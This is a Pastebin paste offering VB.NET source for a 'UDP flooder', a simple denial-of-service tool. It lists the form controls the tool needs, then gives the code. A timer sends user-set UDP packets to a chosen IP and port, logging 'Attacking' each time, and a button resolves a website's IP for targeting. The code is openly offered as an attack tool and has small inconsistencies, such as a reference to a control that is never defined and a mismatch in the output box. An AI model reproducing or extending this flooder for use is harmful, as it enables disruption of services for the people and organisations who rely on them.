Advertisement
TermSpar

BenAndChris UDP Flooder Tutorial

Sep 11th, 2015
1,076
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.07 KB | None | 0 0
  1. You Need:
  2. -1 Timer
  3. -1 Listbox named Data
  4. -3 buttons (Button1 is attack, Button2 is stop, and Button3 is Get IP)
  5. -5 Textboxes (TextBox1 is IP, TextBox2 is Port, TextBox3 is Message, TextBox4 is URL Input, TextBox5 is URL IP Output)
  6. -3 Labels (Optional)
  7.  
  8.  
  9.  
  10.  
  11. -----------------------------------------------------------------------------------------------------------------------------------
  12.  
  13. Imports System.Net
  14. Imports System.Text
  15. Imports System.Net.Sockets
  16. Imports System.Diagnostics
  17. Public Class Form1
  18.  
  19.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  20.  
  21.     End Sub
  22.  
  23.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  24.         Try
  25.  
  26.             Data.Items.Add("Attacking " + TextBox1.Text + " With Data ")
  27.             Data.Items.Add(My.Computer.Info.AvailableVirtualMemory)
  28.             Data.Items.Add("")
  29.             Dim udpClient As New UdpClient
  30.             Dim GLOIP As IPAddress
  31.             Dim bytCommand As Byte() = New Byte() {}
  32.             GLOIP = IPAddress.Parse(TextBox1.Text)
  33.             udpClient.Connect(GLOIP, TextBox2.Text)
  34.             bytCommand = Encoding.ASCII.GetBytes(TextBox3.Text)
  35.             udpClient.Send(bytCommand, bytCommand.Length)
  36.         Finally
  37.  
  38.         End Try
  39.  
  40.     End Sub
  41.  
  42.     Private Sub Data_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Data.SelectedIndexChanged
  43.  
  44.     End Sub
  45.  
  46.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  47.         Timer1.Start()
  48.     End Sub
  49.  
  50.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  51.         Timer1.Stop()
  52.     End Sub
  53.  
  54.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  55.         Dim hostname As IPHostEntry = Dns.GetHostEntry(txtWebsiteURL.Text)
  56.         Dim ip As IPAddress() = hostname.AddressList
  57.         TextBox4.Text = ip(0).ToString
  58.     End Sub
  59. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement